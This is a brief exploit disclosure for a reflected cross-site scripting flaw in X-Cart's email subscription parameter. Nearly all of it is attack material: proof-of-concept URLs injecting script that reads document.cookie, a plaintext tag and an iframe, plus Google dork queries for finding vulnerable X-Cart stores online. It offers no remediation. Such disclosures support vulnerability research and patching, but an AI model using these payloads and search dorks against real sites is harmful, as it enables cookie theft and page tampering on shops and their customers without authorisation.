## X-Cart XSS in email subscription ##

## Download: http://www.x-cart.com/ ##

## Discovered by: Paulo Santos ##

## Contact: paulo@infocampoap.com.br ##

## Blog: http://infocampo.wordpress.com ##

http://target/[path]/customer/home.php?mode=subscribed&email=<plaintext/>
http://target/[path]/customer/home.php?mode=subscribed&email=<script>alert(document.cookie);//<</script>
http://target/[path]/customer/home.php?mode=subscribed&email=<iframe src=http://www.google.com.br width=800>

Path is usually /xcart/

Google dork:
inurl:xcart/customer/
inurl:xcart/customer/home.php
"X-CART. Powerful PHP shopping cart software"